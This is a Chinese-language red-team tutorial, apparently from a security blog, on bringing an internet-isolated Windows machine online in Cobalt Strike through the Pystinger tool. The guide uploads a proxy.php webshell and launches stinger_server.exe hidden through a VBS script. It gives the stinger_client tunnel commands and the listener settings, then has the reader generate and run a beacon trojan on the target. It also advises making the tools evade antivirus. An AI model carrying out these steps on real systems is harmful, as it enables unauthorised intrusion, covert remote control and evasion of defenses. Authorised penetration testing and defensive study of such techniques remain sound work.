『红蓝对抗』不出网机器如何上线 CS?
字数 1669 2025-08-13 21:33:25
不出网机器上线Cobalt Strike的Pystinger工具使用指南
0x00 背景介绍
在渗透测试过程中,经常会遇到目标机器只做了端口映射但无法连接外网的情况。这种情况下,常规方法无法实现Cobalt Strike(CS)上线操作。Pystinger工具可以解决这个问题,它通过webshell实现内网SOCKS4代理,使目标机器在不出网的情况下也能上线CS。
0x01 工具准备
-
下载Pystinger工具包(包含以下组件):
- stinger_server.exe(服务端,用于目标机器)
- stinger_client(客户端,用于TeamServer)
- proxy.php(webshell代理脚本)
-
确认目标系统环境:
- Windows版本(本文以Windows为例,Linux版本原理类似)
- 网络环境(确认目标机器内网可达性)
0x02 实施步骤
1. 上传文件到目标服务器
将以下文件上传到目标服务器:
- 对应版本的proxy.php webshell脚本
- stinger_server.exe服务端程序
2. 启动服务端
在目标机器上创建并执行stinger_server.vbs文件,内容如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\XXXXX\stinger_server.exe 0.0.0.0",vbhide
说明:
- 将路径"D:\XXXXX"替换为实际存放stinger_server.exe的路径
- "0.0.0.0"表示监听所有网络接口
3. 配置客户端
将stinger_client上传到TeamServer服务器,执行以下命令:
chmod +x stinger_client
./stinger_client -w http://x.x.x.x/proxy.php -l 0.0.0.0 -p 60000
参数说明:
-w指定proxy.php的URL地址-l指定监听地址(0.0.0.0表示所有接口)-p指定监听端口(60000)
4. 配置Cobalt Strike监听器
在CS中新建监听器,设置如下:
- 监听地址:目标机器的内网IP
- 端口:默认60020(确保与stinger_server配置一致)
注意:TeamServer服务器和执行stinger_client的应为同一台服务器
5. 生成并执行木马
使用配置好的监听器生成木马,上传到目标服务器并执行。成功执行后,CS将显示新上线的主机。
0x03 原理分析
数据流向分析(目标机器端)
- 外部访问proxy.php的流量进入目标主机80端口
- proxy.php基于httpd服务发起新连接,数据进入PID 3784的进程控制
- 本机60793端口对60010端口进行连接(60010端口由stinger_server.exe监听)
- stinger_server.exe使用60020端口与artifact.exe(CS beacon)进行交互
数据流向分析(TeamServer端)
- stinger_client作为桥梁连接TeamServer和被控主机
- 上线主机的连接由stinger_client发起
- 流量通过指定的端口(如示例中的5000端口)进行通信
0x04 关键点总结
-
网络架构要求:
- 目标机器必须能访问TeamServer所在网络(通过端口映射等方式)
- TeamServer需要能访问proxy.php所在web服务
-
端口使用:
- proxy.php使用web服务端口(通常80/443)
- stinger_client默认监听60000
- stinger_server与CS beacon通信使用60020
-
进程关系:
- httpd.exe处理初始web请求
- stinger_server.exe建立代理通道
- artifact.exe是CS的beacon进程
-
跨平台支持:
- 工具支持Windows和Linux系统
- 不同系统需使用对应版本的程序
0x05 注意事项
- 确保所有组件版本匹配
- 防火墙设置需允许相关端口通信
- 代理脚本(proxy.php)需要根据实际web环境调整
- 工具运行可能会被安全软件检测,需做好免杀处理
- 实际渗透测试中需获得合法授权
通过以上步骤和原理分析,可以在不出网的环境中成功建立Cobalt Strike的通信通道,实现对内网环境的进一步渗透测试。